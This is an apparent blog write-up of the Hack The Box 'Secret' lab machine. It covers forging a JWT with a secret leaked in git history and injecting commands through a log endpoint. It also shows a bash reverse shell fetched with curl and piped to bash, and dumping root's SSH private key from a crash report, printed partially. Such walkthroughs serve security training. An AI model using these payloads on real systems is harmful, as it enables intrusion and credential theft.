Hackthebox Secret Writeup

Dedsec

Dedsec / November 02, 2021

11 min read––– views

Description

Hackthebox release new machine called secret, in this machine we need to analyze too much code and find hard coded jwt secret and then abuse that jwt secret to get rev shell. privesc is bit tricky we need to crash the application running as root and get the root id_rsa inside coredump file.

Nmap

┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret]
└──╼ []$ nmap -sC -sV -oA nmap/result 10.10.11.120
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-31 23:41 CDT
Nmap scan report for 10.10.11.120
Host is up (0.082s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.92 seconds

There are three ports open 22:ssh,80:http,3000:http(Node.js)

Port-80

It's a simple web page with source code download.

First let's click on live demo.

hackthebox

it's a /api page but we don't known the routes that's why it's giving us 404 error. we use gobuster or wfuzz etc for finding the routes but first let's check the source code.

hackthebox

Let's download it.

hackthebox

Let's unzip the file.

┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www]
└──╼ []$ ls -al
total 28176
drwxr-xr-x 1 root   root         18 Oct 31 23:49 . 
drwxr-xr-x 1 root   root         24 Oct 31 23:49 ..
-rw-r--r-- 1 dedsec dedsec 28849603 Oct 31 23:48 files.zip
┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www]
└──╼ []$ unzip files.zip

I think it's a source code of the api endpoint. first i check the .env file because in every project all creads and secret are in that file.

If we closely see there is a .git directory which contain all commits in the past let's dump that first.

┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www]
└──╼ []$ ls
files.zip  local-web
┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www]
└──╼ []$ cd local-web/
┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www/local-web]
└──╼ []$ ls -al
total 84
drwxrwxr-x 1 root root   182 Sep  3 00:57 .
drwxr-xr-x 1 root root    36 Oct 31 23:49 ..
-rw-rw-r-- 1 root root    72 Sep  3 00:59 .env
drwxrwxr-x 1 root root   144 Sep  8 13:33 .git
-rw-rw-r-- 1 root root   885 Sep  3 00:56 index.js
drwxrwxr-x 1 root root    14 Aug 12 23:42 model
drwxrwxr-x 1 root root  4158 Aug 12 23:42 node_modules
-rw-rw-r-- 1 root root   491 Aug 12 23:42 package.json
-rw-rw-r-- 1 root root 69452 Aug 12 23:42 package-lock.json
drwxrwxr-x 1 root root    20 Sep  3 00:54 public
drwxrwxr-x 1 root root    80 Sep  3 01:32 routes
drwxrwxr-x 1 root root    22 Aug 12 23:42 src
-rw-rw-r-- 1 root root   651 Aug 12 23:42 validations.js
┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www/local-web]
└──╼ []$ cat .env 
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret

I use gitTool extractor for that you can use any other tool which you like.

┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www]
└──╼ []$ mkdir git_dump
┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www]
└──╼ []$ /opt/GitTools/Extractor/extractor.sh local-web/ git_dump/

The extractor take his sweet time so i think let's analyze the files.

First i check index.js file and i found routes folder which contain a file called auth for authentication and second i find the /api endpoint called /api/user.

hackthebox

After that i check the auth.js file inside routes folder.

Inside that file i found another endpoint of the api called /register were we register our user and the password is stored in hash format with random salt string with it.

and below that code we got the required parameter to pass for register our user eg. (name,email,password)

hackthebox

And inside same file i got the /login endpoint code which check the username and password if they both are correct the server give me the jwt token that generated with the TOKEN_SECRET

The problem is we don't have the TOKEN_SECRET in the current .env file they remove the TOKEN_SECRET but i guess in past commits the TOKEN_SECRET will be there inside .env file.

Let's check the git-extractor which we run in the background.

hackthebox

The git-extractor extract the 6 commits in the past let's first check the .env file for TOKEN_SECRET

┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www/git_dump]
└──╼ []$ ls -al
total 0
drwxr-xr-x 1 root root 504 Nov  1 00:05 .
drwxr-xr-x 1 root root  52 Oct 31 23:56 ..
drwxr-xr-x 1 root root 204 Oct 31 23:59 0-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
drwxr-xr-x 1 root root 220 Nov  1 00:00 1-55fe756a29268f9b4e786ae468952ca4a8df1bd8
drwxr-xr-x 1 root root 204 Nov  1 00:02 2-e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
drwxr-xr-x 1 root root 204 Nov  1 00:03 3-de0a46b5107a2f4d26e348303e76d85ae4870934
drwxr-xr-x 1 root root 220 Nov  1 00:05 4-3a367e735ee76569664bf7754eaaade7c735d702
drwxr-xr-x 1 root root 204 Nov  1 00:06 5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb

I check every .env file and i found the TOKEN_SECRET that's good for us we can take advantage of that but before doing that let's check the other files inside routes folder.

┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www/git_dump]
└──╼ []$ ls -al
total 0
drwxr-xr-x 1 root root 504 Nov  1 00:05 .
drwxr-xr-x 1 root root  52 Oct 31 23:56 ..
drwxr-xr-x 1 root root 204 Oct 31 23:59 0-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
drwxr-xr-x 1 root root 220 Nov  1 00:00 1-55fe756a29268f9b4e786ae468952ca4a8df1bd8
drwxr-xr-x 1 root root 204 Nov  1 00:02 2-e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
drwxr-xr-x 1 root root 204 Nov  1 00:03 3-de0a46b5107a2f4d26e348303e76d85ae4870934
drwxr-xr-x 1 root root 220 Nov  1 00:05 4-3a367e735ee76569664bf7754eaaade7c735d702
drwxr-xr-x 1 root root 204 Nov  1 00:06 5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb
┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www/git_dump]
└──╼ []$ cat 0-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/.env 
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www/git_dump]
└──╼ []$ cat 1-55fe756a29268f9b4e786ae468952ca4a8df1bd8/.env 
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www/git_dump]
└──╼ []$ cat 2-e297a2797a5f62b6011654cf6fb6ccb6712d2d5b/.env 
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www/git_dump]
└──╼ []$ cat 3-de0a46b5107a2f4d26e348303e76d85ae4870934/.env 
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www/git_dump]
└──╼ []$ cat 4-3a367e735ee76569664bf7754eaaade7c735d702/.env 
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www/git_dump]
└──╼ []$ cat 5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/.env 
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

Checking the verifytoken.js file and found that how the server verify the token they check your jwt token with his TOKEN_SECRET that's the way he known your jwt token is created with his TOKEN_SECRET or not.

hackthebox

Next check the private.js file which contains another endpoint called /priv which will check your name == 'theadmin' or not. i think it's use for checking your privilege of your user you are admin or not.

hackthebox

And further reading the same file i found another endpoint called /logs which check you are admin or not if you are admin they allow us to input a command with file parameter which they directly execute with exec command and return the output.

We can use that functionality for our advantage to execute some malicious command but for that we need admin privilege.

hackthebox

Let's use api/user/register endpoint for register our user.

First let's conform that we can't register as theadmin.

┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret]
└──╼ []$ curl http://10.10.11.120/api/user/register --data '{"name": "theadmin","email": "admin@dedsec.com","password": "admin123"}' -H 'Content-Type: application/json' -vvv
*   Trying 10.10.11.120:80...
* Connected to 10.10.11.120 (10.10.11.120) port 80 (#0)
> POST /api/user/register HTTP/1.1
> Host: 10.10.11.120
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 71
> 
* upload completely sent off: 71 out of 71 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 400 Bad Request
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 01 Nov 2021 05:51:00 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 18
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"12-bovfAO8maqeTuF6NiWgD46KUq3k"
< 
* Connection #0 to host 10.10.11.120 left intact
Name already Exist

As expected theadmin user is already exist. let's use the space in starting of the username and check it's bypass the authentication or not.

┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret]
└──╼ []$ curl http://10.10.11.120/api/user/register --data '{"name": " theadmin","email": "admin@admin.com","password": "admin123"}' -H 'Content-Type: application/json' -vvv
*   Trying 10.10.11.120:80...
* Connected to 10.10.11.120 (10.10.11.120) port 80 (#0)
> POST /api/user/register HTTP/1.1
> Host: 10.10.11.120
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 71
> 
* upload completely sent off: 71 out of 71 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 01 Nov 2021 05:50:24 GMT
< Content-Type: application/json; charset=utf-8 
< Content-Length: 20
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"14-LWrfBFPQd+iUl+P35I+Rt9MzQss"
< 
* Connection #0 to host 10.10.11.120 left intact
{"user":" theadmin"}

hmm we register as theadmin but there is space in front of the username. let's try to login with that creads and get the jwt token.

we got the jwt token let's check on /priv endpoint that we are admin or not.

┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret]
└──╼ []$ curl http://10.10.11.120/api/user/login --data '{"email": "admin@admin.com","password": "admin123"}' -H 'Content-Type: application/json' -vvv
*   Trying 10.10.11.120:80...
* Connected to 10.10.11.120 (10.10.11.120) port 80 (#0)
> POST /api/user/login HTTP/1.1
> Host: 10.10.11.120
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 51
> 
* upload completely sent off: 51 out of 51 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 01 Nov 2021 05:52:59 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 209
< Connection: keep-alive
< X-Powered-By: Express
< auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoiIHRoZWFkbWluIiwiZW1haWwiOiJhZG1pbkBhZG1pbi5jb20iLCJpYXQiOjE2MzU3NDU5Nzl9.yqFCKWgKMkCL5fHrMx_d-TFJmOJUSJzyEVB8p3XK_cs
< ETag: W/"d1-lgho+bsVhMn0yS9syScUC4Xv0OM"
< 
* Connection #0 to host 10.10.11.120 left intact
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoiIHRoZWFkbWluIiwiZW1haWwiOiJhZG1pbkBhZG1pbi5jb20iLCJpYXQiOjE2MzU3NDU5Nzl9.yqFCKWgKMkCL5fHrMx_d-TFJmOJUSJzyEVB8p3XK_cs

And we see we are not an admin because of space in front of our username but the catch is we have the TOKEN_SECRET so we edit the jwt token and generate theadmin user privilege jwt token let's try that out.

┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret]
└──╼ []$ curl http://10.10.11.120/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoiIHRoZWFkbWluIiwiZW1haWwiOiJhZG1pbkBhZG1pbi5jb20iLCJpYXQiOjE2MzU3NDU5Nzl9.yqFCKWgKMkCL5fHrMx_d-TFJmOJUSJzyEVB8p3XK_cs'
{"role":{"role":"you are normal user","desc":" theadmin"}}

Link : https://jwt.io/

I use this site for edit the jwt token you can use cli version of that too.

First i paste my jwt token in that and get the information of jwt token in the right.

I remove the space in front of my username.

hackthebox

After that i add the TOKEN_SECRET inside verify signature tab and we got the theadmin user jwt token.

Now let's check this jwt token is correct or not.

hackthebox

And we see it's a correct token and we are admin now.

┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret]
└──╼ []$ curl http://10.10.11.120/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSIsImlhdCI6MTYzNTc0NTk3OX0.BEXJ3tkhppyn0fpLJHnUtmJ9Mm89eOwC4NF38Ce3Z60'
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}

i try to get the /etc/passwd file but i can't. let's try with semicolon.

┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret]
└──╼ []$ curl http://10.10.11.120/api/logs?file=../../../../../../../../etc/passwd -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSIsImlhdCI6MTYzNTc0NTk3OX0.BEXJ3tkhppyn0fpLJHnUtmJ9Mm89eOwC4NF38Ce3Z60'
{"killed":false,"code":128,"signal":null,"cmd":"git log --oneline ../../../../../../../../etc/passwd"}

Boom we got rce let's try to get the rev shell.

┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret]
└──╼ []$ curl 'http://10.10.11.120/api/logs?file=;cat+/etc/passwd' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSIsImlhdCI6MTYzNTc0NTk3OX0.BEXJ3tkhppyn0fpLJHnUtmJ9Mm89eOwC4NF38Ce3Z60'
"80bf34c fixed typos 🎉
0c75212 now we can view logs from server 😃
ab3e953 Added the codes
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
dasith:x:1000:1000:dasith:/home/dasith:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mongodb:x:113:117::/var/lib/mongodb:/usr/sbin/nologin
"┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret]
└──╼ []$ curl 'http://10.10.11.120/api/logs?file=;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSIsImlhdCI6MTYzNTc0NTk3OX0.BEXJ3tkhppyn0fpLJHnUtmJ9Mm89eOwC4NF38Ce3Z60'
"80bf34c fixed typos 🎉
0c75212 now we can view logs from server 😃
ab3e953 Added the codes
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
"┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret]
└──╼ []$ curl 'http://10.10.11.120/api/logs?file=;whoami' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSIsImlhdCI6MTYzNTc0NTk3OX0.BEXJ3tkhppyn0fpLJHnUtmJ9Mm89eOwC4NF38Ce3Z60'
"80bf34c fixed typos 🎉
0c75212 now we can view logs from server 😃
ab3e953 Added the codes
dasith
"

First let's create a file called rev.sh inside that file add bash rev shell and start the python3 server.

┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www]
└──╼ []$ cat rev.sh
#!/bin/bash
bash -c 'bash -i &gt;& /dev/tcp/10.10.14.116/9001 0&gt;&1'
┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret/www]
└──╼ []$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Before calling the file and pipe it over to bash start your netcat listner on 9001.

┌───[us-free-1][10.10.14.116][root@parrot][~/Desktop/HTB/Secret]
└──╼ []$ curl 'http://10.10.11.120/api/logs?file=;curl+http://10.10.14.116/rev.sh+|+bash' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSIsImlhdCI6MTYzNTc0NTk3OX0.BEXJ3tkhppyn0fpLJHnUtmJ9Mm89eOwC4NF38Ce3Z60'

Boom we got the shell and get the user.txt file.

hackthebox

dasith@secret:~/local-web$ cd ~
dasith@secret:~$ ls
local-web  user.txt
dasith@secret:~$ cat user.txt 
3ef7abd996fbc02eda423174a6fe4dc0

Privilege escalation

Before running LinPEAS let's do some manual enumeration.

When i check /opt directory i found a executable binary with the suid bit set permission called count and also find his source code inside code.c file.

dasith@secret:~$ cd /opt/
dasith@secret:/opt$ ls -al
total 56
drwxr-xr-x  2 root root  4096 Oct  7 10:06 .
drwxr-xr-x 20 root root  4096 Oct  7 15:01 ..
-rw-r--r--  1 root root  3736 Oct  7 10:01 code.c
-rw-r--r--  1 root root 16384 Oct  7 10:01 .code.c.swp
-rwsr-xr-x  1 root root 17824 Oct  7 10:03 count
-rw-r--r--  1 root root  4622 Oct  7 10:04 valgrind.log
dasith@secret:/opt$ 

After analyzing the code.c file i found that it's open a file with the path which we give while executing the binary then he counts the character and lines and words inside that and print the output.

hackthebox

Then in the main function i found a prctl function that generate the coredump.

hackthebox

I research on prctl function and i found these useful links.

Link : https://man7.org/linux/man-pages/man2/prctl.2.html

Link : https://wiki.ubuntu.com/Apport

Link : https://wiki.ubuntu.com/CrashReporting

After reading that i decide to crash the program because we don't have write permission to edit the code.c file and when we crash the program while executing the binary it's take that file buffer and add the content inside /var/crash/ directory because when any program crash unexpectedly in linux distro the coredump is save in /var/crash directory.

So for that we need two rev shell first is for executing the binary second is for kill the process.

  1. execute the binary
  2. enter the path of root ssh id_rsa file
  3. enter y to conform
  4. now in 2nd rev shell find the process
  5. then kill the process

hackthebox

Now let's go to /var/crash directory.

Now we need to convert this crash file into coredump file using apport-unpack.

dasith@secret:/opt$ cd /var/crash/
dasith@secret:/var/crash$ ls -al
total 92
drwxrwxrwt  2 root   root    4096 Nov  2 02:34 .
drwxr-xr-x 14 root   root    4096 Aug 13 05:12 ..
-rw-r-----  1 root   root   27203 Oct  6 18:01 _opt_count.0.crash
-rw-r-----  1 dasith dasith 31446 Nov  2 02:34 _opt_count.1000.crash
-rw-r-----  1 root   root   24048 Oct  5 14:24 _opt_countzz.0.crash
dasith@secret:/var/crash$ mkdir /tmp/dump
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/dump/

Now let's check the /tmp/dump directory.

dasith@secret:/tmp/dump$ ls -al
total 436
drwxr-xr-x  2 dasith dasith   4096 Nov  2 02:36 .
drwxrwxrwt 18 root   root     4096 Nov  2 02:35 ..
-rw-r--r--  1 dasith dasith      5 Nov  2 02:36 Architecture
-rw-r--r--  1 dasith dasith 380928 Nov  2 02:36 CoreDump
-rw-r--r--  1 dasith dasith     24 Nov  2 02:36 Date
-rw-r--r--  1 dasith dasith     12 Nov  2 02:36 DistroRelease
-rw-r--r--  1 dasith dasith     10 Nov  2 02:36 ExecutablePath
-rw-r--r--  1 dasith dasith     10 Nov  2 02:36 ExecutableTimestamp
-rw-r--r--  1 dasith dasith      5 Nov  2 02:36 ProblemType
-rw-r--r--  1 dasith dasith      7 Nov  2 02:36 ProcCmdline
-rw-r--r--  1 dasith dasith      4 Nov  2 02:36 ProcCwd
-rw-r--r--  1 dasith dasith     64 Nov  2 02:36 ProcEnviron
-rw-r--r--  1 dasith dasith   2144 Nov  2 02:36 ProcMaps
-rw-r--r--  1 dasith dasith   1350 Nov  2 02:36 ProcStatus
-rw-r--r--  1 dasith dasith      1 Nov  2 02:36 Signal
-rw-r--r--  1 dasith dasith     29 Nov  2 02:36 Uname
-rw-r--r--  1 dasith dasith      3 Nov  2 02:36 UserGroups
dasith@secret:/tmp/dump$ 

Let's strings the CoreDump file and check if there is any id_rsa of root.

dasith@secret:/tmp/dump$ strings CoreDump | less

And we got the id_rsa of root.

hackthebox

id_rsa_root

-----BEGIN OPENSSH PRIVATE KEY-----
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
